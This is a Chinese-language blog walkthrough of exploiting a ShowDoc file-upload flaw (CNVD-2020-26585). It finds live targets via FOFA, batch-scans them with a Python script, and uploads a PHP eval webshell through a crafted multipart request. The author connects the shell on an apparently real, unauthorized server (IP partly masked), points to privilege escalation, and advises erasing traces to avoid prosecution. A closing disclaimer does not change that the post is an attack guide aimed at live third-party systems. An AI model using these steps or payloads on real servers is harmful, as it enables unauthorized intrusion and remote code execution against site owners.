0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现
参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客
一、fofa 搜索使用该工具的网站
网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统
"ShowDoc"
二、验证目标url是否存在漏洞
手动验证
在url后面拼接
?s=/home/page/uploadImg
如果能成功访问就说明有可能存在漏洞,是否存在漏洞还需要后续进行上传测试
编写python脚本进行批量验证
首先你可以编写个搜索fofa的脚本,用来收集目标ip
搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客
然后就可以编写ip验证脚本
import requests
# 读取本地的 ip.txt 文件
def read_urls(file_path):
with open(file_path, 'r') as file:
urls = file.readlines()
return [url.strip() for url in urls]
# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout=3):
endpoint = '/?s=/home/page/uploadImg'
keyword = '没有上传的文件'
for url in urls:
full_url = url + endpoint
try:
response = requests.get(full_url, timeout=timeout)
if response.status_code == 200 and keyword in response.text:
print(f"Potential vulnerability found at: {full_url}")
else:
pass
# print(f"No vulnerability detected at: {full_url} (Status Code: {response.status_code})")
except requests.RequestException as e:
pass
# print(f"Error accessing {full_url}: {e}")
# 主函数
def main():
file_path = 'ip.txt'
urls = read_urls(file_path)
test_vulnerabilities(urls)
if __name__ == "__main__":
main()
三、尝试上传webshell
随便选择一个可能存在漏洞的url进行复现
使用bp抓包
发送到重发器
将请求改成post请求
然后在请求体后面加上payload
payload
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 257
----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php eval(@$_POST['mima']);?>
----------------------------921378126371623762173617--
以下是对每部分的详细解释:
-
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
:Content-Type: multipart/form-data
指定了请求的主体是multipart/form-data
格式,这种格式通常用于上传文件或包含多个部分的数据。boundary=--------------------------921378126371623762173617
是分隔符,它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。
-
Content-Length: 257
:- 指示请求体的长度为 257 字节。这是请求体的总字节数,包括所有分隔符和数据。
-
----------------------------921378126371623762173617
:- 这是第一个分隔符,表示请求体的开始。这是用来分隔请求中的第一个部分的边界。
-
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
:Content-Disposition: form-data
表示这是表单数据的一部分。name="editormd-image-file"
指定了表单字段的名称,这里是editormd-image-file
。filename="test.<>php"
指定了上传文件的名称,这里是test.<>php
。
-
Content-Type: text/plain
:- 指定了上传文件的 MIME 类型,这里是
text/plain
,表示文件的内容是纯文本。
- 指定了上传文件的 MIME 类型,这里是
-
<?php eval(@$_POST['mima']);?>
:- 这是文件
test.<>php
中的内容。它是一个 PHP 代码片段,用于执行传入的 PHP 代码。eval(@$_POST['mima']);
会执行 POST 请求中mima
字段的内容,这可能会导致代码执行漏洞,允许攻击者在服务器上执行任意代码。
- 这是文件
-
----------------------------921378126371623762173617--
:- 这是请求体的结束分隔符,标志着请求体的结束。
四、使用工具(蚁剑、菜刀、冰蝎、哥斯拉)尝试连接webshell
这里用蚁剑演示,复制链接至蚁剑,将所有的“\”去除
去除 / 反斜杠后链接就会变成这样
http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php
连接密码:mima
可以连接后就可以进入虚拟终端执行一些命令,比如查看当前权限
可以继续上传msf或cs的马进行操作提权,但是我没有目标的授权就不继续下去了,如果你需要学习这方面的知识,可以订阅我的专栏:49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客
最后记住,清除我们的渗透痕迹,防止别人进行溯源,起诉我们。
免责声明
欢迎访问我的博客。以下内容仅供教育和信息用途:
-
合法性:我不支持或鼓励非法活动。请确保遵守法律法规。
-
信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。
-
风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。
-
责任限制:我对使用博客内容产生的任何损害不承担责任。
-
第三方链接:博客中的链接仅为方便用户,内容不由我负责。
使用本博客即表示您同意以上条款。如果有疑问,请联系我。